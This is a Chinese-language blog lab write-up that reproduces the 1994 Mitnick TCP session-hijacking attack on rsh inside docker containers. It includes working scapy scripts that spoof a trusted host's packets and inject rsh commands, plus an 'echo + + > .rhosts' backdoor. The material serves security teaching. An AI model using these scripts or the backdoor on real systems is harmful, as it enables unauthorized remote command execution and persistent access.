MITNICK攻击实验

Hello Eutopia's Blog

Posted by Eutopia on October 9, 2023

MITNICK攻击实验

实验背景

KEVIN·MITNICK可能是美国最著名的黑客之一,他在联邦调查局的通缉犯名单上。在逃亡期间,他开始对破解移动网络产生了兴趣,并需要专门的软件来帮助他做到这一点。这让他找到了圣地亚哥超级计算机中心的研究员TSUTOMU SHIMOMURA,移动电话网络安全方面的主要研究人员之一。他有MITNICK想要的代码。

1994年,MITNICK利用TCP协议中的漏洞和SHIMOMURA的两台计算机之间的受信任关系,成功地对SHIMOMURA的计算机发动了一次攻击。这次袭击引发了两人之间的对决,并最终导致了MITNICK的被捕。这场对决后来被演变成书籍和好莱坞电影。这次攻击现在被称为MITNICK攻击,这是一种特殊类型的TCP会话劫持。

实验目的

这个实验的目的是重现经典的MITNICK攻击,这样学生们就可以获得这种攻击的第一手经验。我们将模拟最初在SHIMOMURA电脑上的设置,然后启动MITNICK攻击,在SHIMOMURA的两台电脑之间创建一个伪造的TCP会话。如果攻击成功了,我们应该能够在SHIMOMURA的计算机上运行任何命令

实验主题

  • TCP会话劫持攻击

  • TCP三次握手协议
  • MITNICK攻击
  • 远程SHELL RSH
  • 数据包嗅探与伪造

实验内容

1. 使用docker容器建立实验环境

在网站Home下载相关的环境安装包,然后再Ubuntu系统中打开。使用命令docker-compose up完成环境搭建以及容器启动。

environment

2. 配置X-Terminal

使用docker exec -it [container-ID] /bin/bash命令进入x-terminal主机,创建.rhost文件,添加trust_server主机IP地址

su seed
cd ~
touch .rhosts
echo 10.9.0.6 > .rhosts
chmod 644 .rhosts

x_terminal_rsh_config

配置完成后,使用Trust Server主机进行rsh登录

su seed
rsh 10.9.0.5 date

x_terminal_rsh_config_verify

另外还需要设置arp长期缓存,因为如果在进行mitnick攻击时,如果X-Terminal主机中没有Trust Server主机的arp缓存,X-Terminal会发出arp报文请求Trust ServerMAC地址,然而Trust Server由于收到SYN FLOODING攻击无法给予回复,导致攻击无法继续向下进行。

3. 模拟SYN FLOODING攻击

由于当前主机都可以很好的防护SYN FLOODING攻击,可以直接关闭Trust Server主机来模拟SYN FLOODING攻击成功。

4. 建立第一个TCP连接——伪造SYN包

Trust Server主机rsh远程登录X-Terminal主机,tcpdump查看包交互过程,如下图,可见10.9.0.510.9.0.6之间建立了两次TCP连接(10.9.0.5:514 <-> 10.9.0.6:1023, 10.9.0.5:1023 <-> 10.9.0.6:1022

tcp_dump

mitnick攻击实验进行TCP连接过程如下图:

TCP

使用python scapy库构造脚本,伪造SYN包,向X-Terminal伪造Trust Server发送SYN包,尝试建立连接。

python

from scapy.all import *

# 1.发送第一个SYN包
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=1023, dport=514)
tcp.flags = "S"
p = ip / tcp
send(p, verbose=0)

构造ip头以及tcp,注意tcp源端口需要为”1023”,标志位需要为”S”,向X-Terminal主机发送SYN包。

5. 建立第一个TCP连接——伪造SYN-ACK响应包

发送SYN包后,X-Terminal会发送SYN+ACK响应包,Attacker主机需要伪造ACK响应包回复。其中包含了 ip, tcp, data等信息,data数据中包含了touch /home/seed/xyz命令。

python

from scapy.all import *

# 2.伪造SYN+ACK响应包
def spoof(pkt):
    if pkt[TCP].flags == "SA" and pkt[IP].src == "10.9.0.5":
        old_ip = pkt[IP]
        old_tcp = pkt[TCP]
        tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
        print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))

        ip = IP(src="10.9.0.6", dst="10.9.0.5")
        tcp = TCP(sport=1023, dport=pkt[TCP].sport)
        tcp.flags = "A"
        tcp.seq = pkt[TCP].ack
        tcp.ack = pkt[TCP].seq + 1
        # 伪造rsh数据包
        data = "9090\x00seed\x00seed\x00echo + + > /home/seed/.rhosts\x00"
        p = ip / tcp / data
        send(p, verbose=0)


myFilter = 'tcp'  # You need to make the filter more specific
sniff(iface='br-ac4a3b4d5a3d', filter=myFilter, prn=spoof)

进行sniff嗅探X-Terminal主机发送的SYN+ACK包,根据该包构造ip头和tcp头,设置标志位为”A”表示ACK包,注ack序号应为SYN+ACK包的seq+1,并添加rsh data数据段,添加命令,命令格式为[port_number]\x00[uid_client]\x00[uid_server]\x00[your command]\x00

数据包括四个部分:一个端口号、 一个客户端的用户ID、 一个服务器的用户ID和一个命令。该端口号将用于第二个连接。 客户端和服务器的用户ID在本实验中都为”seed” 。 这四个字段用一个字节0分隔。

6. 建立第二个TCP连接——伪造ACK包

建立第一个连接后,X-Terminal将启动第二次连接,rshd使用此连接来发送错误消息。在本实验中,这个连接不 会被使用。但如果这个连接没有建立,rshd将停止而不执行命令。因此,需要伪造第二个连接来确保命令的执行。

编写另一个程序,嗅探发送到可信服务器9090端口的TCP流量(假设之前使用9090端口)。当嗅探到一个SYN包时,应该用一个SYN+ACK包来响应。

如果两个连接都已成功建立, 则rshd将执行包含在rsh数据包中的命令。 检查/home/seed/文件夹, 并查看是否创建了/home/seed/, 以及其时间戳是否与当前的时间相匹配 。

python

from scapy.all import *

# 3.伪造SYN响应包
def spoof(pkt):
    if pkt[TCP].flags == "S" and pkt[IP].src == "10.9.0.5":
        old_ip = pkt[IP]
        old_tcp = pkt[TCP]
        tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
        print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))

        ip = IP(src="10.9.0.6", dst="10.9.0.5")
        tcp = TCP(sport=9090, dport=pkt[TCP].sport)
        tcp.flags = "SA"
        tcp.seq = pkt[TCP].seq
        tcp.ack = pkt[TCP].seq + 1

        p = ip / tcp
        send(p, verbose=0)

myFilter = 'tcp'  # You need to make the filter more specific      
sniff(iface='br-ac4a3b4d5a3d', filter=myFilter, prn=spoof)

进行sniff嗅探X-Terminal主机发送第二次TCP连接的SYN包,根据该包构造ip头和tcp头,设置标志位为”SA”表示SYN+ACK包,注意ack序号应为SYN包的seq+1,seq序号可以随意设计。

进行tcpdump查看包交互过程:

sniff

结果检验:

results

7. 设置后门

为了避免每次侵入X-Terminal都需要发动攻击, 可以在X-Terminal上设置一个后门,这个后门允许攻击者无需输入密码就能在任何时候正常地登录到X-Terminal。实现这个后门需要做的就是将字符串“+ +” 添加到X-Terminal的 .rhosts 文件中,将脚本中data数据段命令修改为echo + + > /home/seed/.rhosts即可。

python

data = "9090\x00seed\x00seed\x00echo + + > /home/seed/.rhosts\x00"

结果:

成功修改了.rhosts文件

result1

使用攻击主机进行rsh登录,成功返回日期时间

result2

实验总结

通过本次实验,我了解了当时mitnick进行攻击的具体过程以及实现原理。并且能够简单复现该攻击实验,并且熟练掌握了docker的使用方法。